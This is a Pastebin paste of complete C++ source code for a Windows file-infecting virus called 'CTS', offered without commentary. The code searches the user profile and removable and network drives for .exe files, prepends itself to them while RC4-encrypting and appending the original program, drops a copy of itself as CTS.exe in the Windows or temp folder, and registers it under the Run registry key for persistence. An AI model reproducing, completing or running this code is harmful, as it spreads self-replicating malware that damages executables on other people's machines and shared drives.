Advertisement
FlyFar

CTS File Appending Virus - Source Code

Mar 2nd, 2023
568
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 10.50 KB | Cybersecurity | 0 0
  1. #include <Windows.h>
  2. #include "ntdll.h"
  3.  
  4. #pragma comment(lib,"ntdll.lib")
  5.  
  6. #define CTS_VIRUS_SIGNATURE '\nSTC'
  7. #define CTS_KEY_LENGTH 16
  8.  
  9. typedef struct _CTS_FILE_DATA
  10. {
  11.     ULONG FileSize;
  12.     HANDLE hFile;
  13.     UCHAR Data[1];
  14. }CTS_FILE_DATA,*PCTS_FILE_DATA;
  15.  
  16. typedef struct _CTS_APPEND_DATA
  17. {
  18.     ULONG Signature;
  19.     ULONG FileSize;
  20.     UCHAR Key[16];
  21. }CTS_APPEND_DATA,*PCTS_APPEND_DATA;
  22.  
  23. LPWSTR CtsVirusPath;
  24. HCRYPTPROV CtsCryptProv;
  25.  
  26. PVOID CtsVirusFile;
  27. ULONG CtsVirusSize,CtsVirusChecksum;
  28.  
  29. ULONG __fastcall CtsComputeCrc32(PVOID Buffer,ULONG Length)
  30. {
  31.     ULONG i,j,Crc=0xFFFFFFFF,Crc32Table[256];
  32.     PUCHAR ptr=(PUCHAR)Buffer;
  33.  
  34.     for(i=0;i<256;i++)
  35.     {
  36.         Crc32Table[i]=i;
  37.  
  38.         for(j=0;j<8;j++)
  39.         {
  40.             Crc32Table[i]=Crc32Table[i] & 1 ? (Crc32Table[i]>>1)^0xEDB88320:Crc32Table[i]>>1;
  41.         }
  42.     }
  43.  
  44.     for(i=0;i<Length;i++)
  45.     {
  46.         Crc=Crc32Table[(Crc^ptr[i]) & 0xFF]^(Crc>>8);
  47.     }
  48.  
  49.     return ~Crc;
  50. }
  51.  
  52. void __fastcall CtsGenerateRandomData(PVOID Buffer,ULONG Length)
  53. {
  54.     CryptGenRandom(CtsCryptProv,Length,(PUCHAR)Buffer);
  55. }
  56.  
  57. ULONG WINAPI CtsGenerateRandomNumber()
  58. {
  59.     ULONG i=0;
  60.  
  61.     CtsGenerateRandomData(&i,sizeof(ULONG));
  62.     return i;
  63. }
  64.  
  65. void __fastcall CtsCryptData(PVOID Buffer,ULONG Length,PVOID Key)
  66. {
  67.     ULONG i,j,x;
  68.     UCHAR State[256],Swap,*k=(PUCHAR)Key,*ptr=(PUCHAR)Buffer;
  69.  
  70.     for(i=0;i<256;i++)
  71.     {
  72.         State[i]=(UCHAR)i;
  73.     }
  74.  
  75.     j=0;
  76.  
  77.     for(i=0;i<256;i++)
  78.     {
  79.         j=(j+State[i]+k[i % CTS_KEY_LENGTH]) & 0xFF;
  80.         Swap=State[i];
  81.  
  82.         State[i]=State[j];
  83.         State[j]=Swap;
  84.     }
  85.  
  86.     i=0;
  87.     j=0;
  88.  
  89.     for(x=0;x<Length;x++)
  90.     {
  91.         i=(i+1) & 0xFF;
  92.         j=(j+State[i]) & 0xFF;
  93.  
  94.         Swap=State[i];
  95.  
  96.         State[i]=State[j];
  97.         State[j]=Swap;
  98.  
  99.         ptr[x]^=State[(State[i]+State[j]) & 0xFF];
  100.     }
  101. }
  102.  
  103. PCTS_FILE_DATA __fastcall CtsLoadFile(LPWSTR FileName)
  104. {
  105.     ULONG FileSize,read;
  106.     HANDLE hFile;
  107.  
  108.     PCTS_FILE_DATA FileData;
  109.  
  110.     hFile=CreateFile(FileName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL);
  111.  
  112.     if(hFile==INVALID_HANDLE_VALUE)
  113.     {
  114.         return NULL;
  115.     }
  116.  
  117.     FileSize=GetFileSize(hFile,NULL);
  118.     FileData=(PCTS_FILE_DATA)LocalAlloc(LMEM_ZEROINIT,sizeof(CTS_FILE_DATA)+FileSize);
  119.  
  120.     if(!FileData)
  121.     {
  122.         NtClose(hFile);
  123.         return NULL;
  124.     }
  125.  
  126.     if(!ReadFile(hFile,FileData->Data,FileSize,&read,NULL))
  127.     {
  128.         NtClose(hFile);
  129.  
  130.         LocalFree(FileData);
  131.         return NULL;
  132.     }
  133.  
  134.     FileData->FileSize=FileSize;
  135.     FileData->hFile=hFile;
  136.  
  137.     SetFilePointer(FileData->hFile,0,NULL,FILE_BEGIN);
  138.     return FileData;
  139. }
  140.  
  141. void __fastcall CtsUnloadFile(PCTS_FILE_DATA FileData)
  142. {
  143.     NtClose(FileData->hFile);
  144.     LocalFree(FileData);
  145. }
  146.  
  147. void WINAPI CtsExtractFile(PVOID Buffer,ULONG Length,LPWSTR CommandLine)
  148. {
  149.     ULONG i,write;
  150.     HANDLE hFile;
  151.  
  152.     wchar_t FilePath[512],FileName[16];
  153.  
  154.     BOOL Sucess,Infected;
  155.     BOOLEAN IsAdmin,bl;
  156.  
  157.     HKEY hKey;
  158.  
  159.     PVOID AppendedFile;
  160.     PCTS_APPEND_DATA AppendData;
  161.  
  162.     STARTUPINFO si;
  163.     PROCESS_INFORMATION pi;
  164.  
  165.     wchar_t c[]=
  166.         L"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
  167.         L"abcdefghijklmnopqrstuvwxyz"
  168.         L"0123456789";
  169.  
  170.     AppendData=(PCTS_APPEND_DATA)((PUCHAR)Buffer+Length-sizeof(CTS_APPEND_DATA));
  171.  
  172.     if(AppendData->Signature==CTS_VIRUS_SIGNATURE)
  173.     {
  174.         AppendedFile=(PUCHAR)AppendData-AppendData->FileSize;
  175.         CtsCryptData(AppendedFile,AppendData->FileSize,AppendData->Key);
  176.  
  177.         for(i=0;i<15;i++)
  178.         {
  179.             FileName[i]=c[CtsGenerateRandomNumber() % ((sizeof(c)/sizeof(wchar_t))-1)];
  180.         }
  181.  
  182.         FileName[i]=0;
  183.         ExpandEnvironmentStrings(L"%temp%\\",FilePath,512);
  184.  
  185.         wcscat(FilePath,FileName);
  186.         wcscat(FilePath,L".exe");
  187.  
  188.         hFile=CreateFile(FilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
  189.  
  190.         if(hFile!=INVALID_HANDLE_VALUE)
  191.         {
  192.             Sucess=WriteFile(hFile,AppendedFile,AppendData->FileSize,&write,NULL);
  193.             NtClose(hFile);
  194.  
  195.             if(Sucess)
  196.             {
  197.                 memset(&si,0,sizeof(si));
  198.                 memset(&pi,0,sizeof(pi));
  199.  
  200.                 wcscat(FilePath,L" ");
  201.                 wcscat(FilePath,CommandLine);
  202.  
  203.                 if(CreateProcess(NULL,FilePath,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi))
  204.                 {
  205.                     NtClose(pi.hThread);
  206.                     NtClose(pi.hProcess);
  207.                 }
  208.             }
  209.         }
  210.     }
  211.  
  212.     CtsVirusFile=Buffer;
  213.     CtsVirusSize=AppendData->Signature==CTS_VIRUS_SIGNATURE ? Length-sizeof(CTS_APPEND_DATA)-AppendData->FileSize:Length;
  214.  
  215.     Infected=AppendData->Signature==CTS_VIRUS_SIGNATURE;
  216.  
  217.     memset(AppendedFile,0,AppendData->FileSize);
  218.     memset(AppendData,0,sizeof(CTS_APPEND_DATA));
  219.  
  220.     IsAdmin=NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl));
  221.     ExpandEnvironmentStrings(IsAdmin ? L"%windir%\\CTS.exe":L"%temp%\\CTS.exe",FilePath,512);
  222.  
  223.     hFile=CreateFile(FilePath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);
  224.  
  225.     if(hFile!=INVALID_HANDLE_VALUE)
  226.     {
  227.         WriteFile(hFile,CtsVirusFile,CtsVirusSize,&write,NULL);
  228.         NtClose(hFile);
  229.     }
  230.  
  231.     if(!RegCreateKey(IsAdmin ? HKEY_LOCAL_MACHINE:HKEY_CURRENT_USER,L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey))
  232.     {
  233.         RegSetValueEx(hKey,L"CTS",0,REG_SZ,(PUCHAR)FilePath,(wcslen(FilePath)+1)*sizeof(wchar_t));
  234.         RegCloseKey(hKey);
  235.     }
  236.  
  237.     if(Infected)
  238.     {
  239.         memset(&si,0,sizeof(si));
  240.         memset(&pi,0,sizeof(pi));
  241.  
  242.         CreateProcess(FilePath,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
  243.         ExitProcess(0);
  244.     }
  245.  
  246.     CtsVirusChecksum=CtsComputeCrc32(CtsVirusFile,CtsVirusSize);
  247. }
  248.  
  249. void WINAPI CtsExtractVirus(LPWSTR CommandLine)
  250. {
  251.     ULONG FileSize,read;
  252.     HANDLE hFile;
  253.  
  254.     PVOID Buffer;
  255.  
  256.     hFile=CreateFile(CtsVirusPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
  257.  
  258.     if(hFile!=INVALID_HANDLE_VALUE)
  259.     {
  260.         FileSize=GetFileSize(hFile,NULL);
  261.         Buffer=LocalAlloc(LMEM_ZEROINIT,FileSize);
  262.  
  263.         if(Buffer)
  264.         {
  265.             if(ReadFile(hFile,Buffer,FileSize,&read,NULL))
  266.             {
  267.                 CtsExtractFile(Buffer,FileSize,CommandLine);
  268.             }
  269.         }
  270.     }
  271. }
  272.  
  273. void __fastcall CtsInfectFile(LPWSTR FileName)
  274. {
  275.     PCTS_FILE_DATA FileData;
  276.     CTS_APPEND_DATA AppendData;
  277.  
  278.     ULONG write;
  279.     UCHAR Key[CTS_KEY_LENGTH];
  280.  
  281.     FileData=CtsLoadFile(FileName);
  282.  
  283.     if(FileData)
  284.     {
  285.         if(CtsComputeCrc32(FileData->Data,FileData->FileSize)==CtsVirusChecksum)
  286.         {
  287.             CtsUnloadFile(FileData);
  288.             return;
  289.         }
  290.  
  291.         if(*(PULONG)((PUCHAR)FileData->Data+FileData->FileSize-sizeof(CTS_APPEND_DATA))==CTS_VIRUS_SIGNATURE)
  292.         {
  293.             CtsUnloadFile(FileData);
  294.             return;
  295.         }
  296.  
  297.         if(WriteFile(FileData->hFile,CtsVirusFile,CtsVirusSize,&write,NULL))
  298.         {
  299.             CtsGenerateRandomData(Key,CTS_KEY_LENGTH);
  300.             CtsCryptData(FileData->Data,FileData->FileSize,Key);
  301.  
  302.             AppendData.Signature=CTS_VIRUS_SIGNATURE;
  303.             AppendData.FileSize=FileData->FileSize;
  304.  
  305.             memcpy(AppendData.Key,Key,CTS_KEY_LENGTH);
  306.  
  307.             WriteFile(FileData->hFile,FileData->Data,FileData->FileSize,&write,NULL);
  308.             WriteFile(FileData->hFile,&AppendData,sizeof(CTS_APPEND_DATA),&write,NULL);
  309.  
  310.             FlushFileBuffers(FileData->hFile);
  311.         }
  312.  
  313.         CtsUnloadFile(FileData);
  314.     }
  315. }
  316.  
  317. BOOL WINAPI CtsInitialize()
  318. {
  319.     PPEB Peb;
  320.     PLDR_DATA_TABLE_ENTRY Ldr;
  321.  
  322.     Peb=(PPEB)__readfsdword(0x30);
  323.     Ldr=CONTAINING_RECORD(Peb->Ldr->InMemoryOrderModuleList.Flink,LDR_DATA_TABLE_ENTRY,InMemoryOrderLinks.Flink);
  324.  
  325.     CtsVirusPath=Ldr->FullDllName.Buffer;
  326.  
  327.     if(!CryptAcquireContext(&CtsCryptProv,NULL,NULL,PROV_RSA_FULL,CRYPT_VERIFYCONTEXT))
  328.     {
  329.         return FALSE;
  330.     }
  331.  
  332.     return TRUE;
  333. }
  334.  
  335. void __fastcall CtsSearchFiles(LPWSTR Path)
  336. {
  337.     HANDLE hFind;
  338.     wchar_t SearchName[512],FullPath[512];
  339.  
  340.     WIN32_FIND_DATA FindData;
  341.  
  342.     wsprintf(SearchName,L"%s\\*",Path);
  343.     hFind=FindFirstFile(SearchName,&FindData);
  344.  
  345.     if(hFind!=INVALID_HANDLE_VALUE)
  346.     {
  347.         while(FindNextFile(hFind,&FindData))
  348.         {
  349.             if(FindData.cFileName[0]=='.')
  350.             {
  351.                 continue;
  352.             }
  353.  
  354.             wsprintf(FullPath,L"%s\\%s",Path,FindData.cFileName);
  355.  
  356.             if(FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
  357.             {
  358.                 CtsSearchFiles(FullPath);
  359.             }
  360.  
  361.             else
  362.             {
  363.                 if(wcsstr(FindData.cFileName,L".exe"))
  364.                 {
  365.                     CtsInfectFile(FullPath);
  366.                 }
  367.             }
  368.         }
  369.  
  370.         FindClose(hFind);
  371.     }
  372. }
  373.  
  374. DWORD WINAPI CtsInfectDriveThread(PVOID p)
  375. {
  376.     CtsSearchFiles((LPWSTR)p);
  377.     LocalFree(p);
  378.  
  379.     return 0;
  380. }
  381.  
  382. DWORD WINAPI CtsSearchDrivesThread(PVOID p)
  383. {
  384.     LARGE_INTEGER delay;
  385.     ULONG DriveType;
  386.  
  387.     wchar_t Drives[1024],*str,*buf;
  388.  
  389.     delay.QuadPart=(__int64)-300000*10000;
  390.  
  391.     while(1)
  392.     {
  393.         memset(Drives,0,sizeof(Drives));
  394.         GetLogicalDriveStrings(1024,Drives);
  395.  
  396.         str=Drives;
  397.  
  398.         while(*str)
  399.         {
  400.             DriveType=GetDriveType(str);
  401.  
  402.             if(DriveType==DRIVE_REMOVABLE || DriveType==DRIVE_REMOTE)
  403.             {
  404.                 buf=(LPWSTR)LocalAlloc(LMEM_ZEROINIT,(wcslen(str)+1)*sizeof(wchar_t));
  405.                 wcscpy(buf,str);
  406.  
  407.                 NtClose(CreateThread(NULL,0,CtsInfectDriveThread,buf,0,NULL));
  408.             }
  409.  
  410.             str+=wcslen(str)+1;
  411.         }
  412.  
  413.         NtDelayExecution(FALSE,&delay);
  414.     }
  415. }
  416.  
  417. int WINAPI wWinMain(HINSTANCE hInst,HINSTANCE hPrev,LPWSTR lpCmdLine,int nCmdShow)
  418. {
  419.     LARGE_INTEGER delay;
  420.     wchar_t UserProfile[1024];
  421.  
  422.     if(!CtsInitialize())
  423.     {
  424.         return -1;
  425.     }
  426.  
  427.     CtsExtractVirus(lpCmdLine);
  428.     CreateMutex(NULL,TRUE,L"Global\\3pc6RWOgectGTFqCowxjeGy3XIGPtLwNrsr2zDctYD4hAU5pj4GW7rm8gHrHyTB6");
  429.  
  430.     if(GetLastError()==ERROR_ALREADY_EXISTS)
  431.     {
  432.         return 0;
  433.     }
  434.  
  435.     CreateThread(NULL,0,CtsSearchDrivesThread,NULL,0,NULL);
  436.     GetEnvironmentVariable(L"userprofile",UserProfile,1024);
  437.  
  438.     delay.QuadPart=(__int64)-300000*10000;
  439.  
  440.     while(1)
  441.     {
  442.         CtsSearchFiles(UserProfile);
  443.         NtDelayExecution(FALSE,&delay);
  444.     }
  445. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement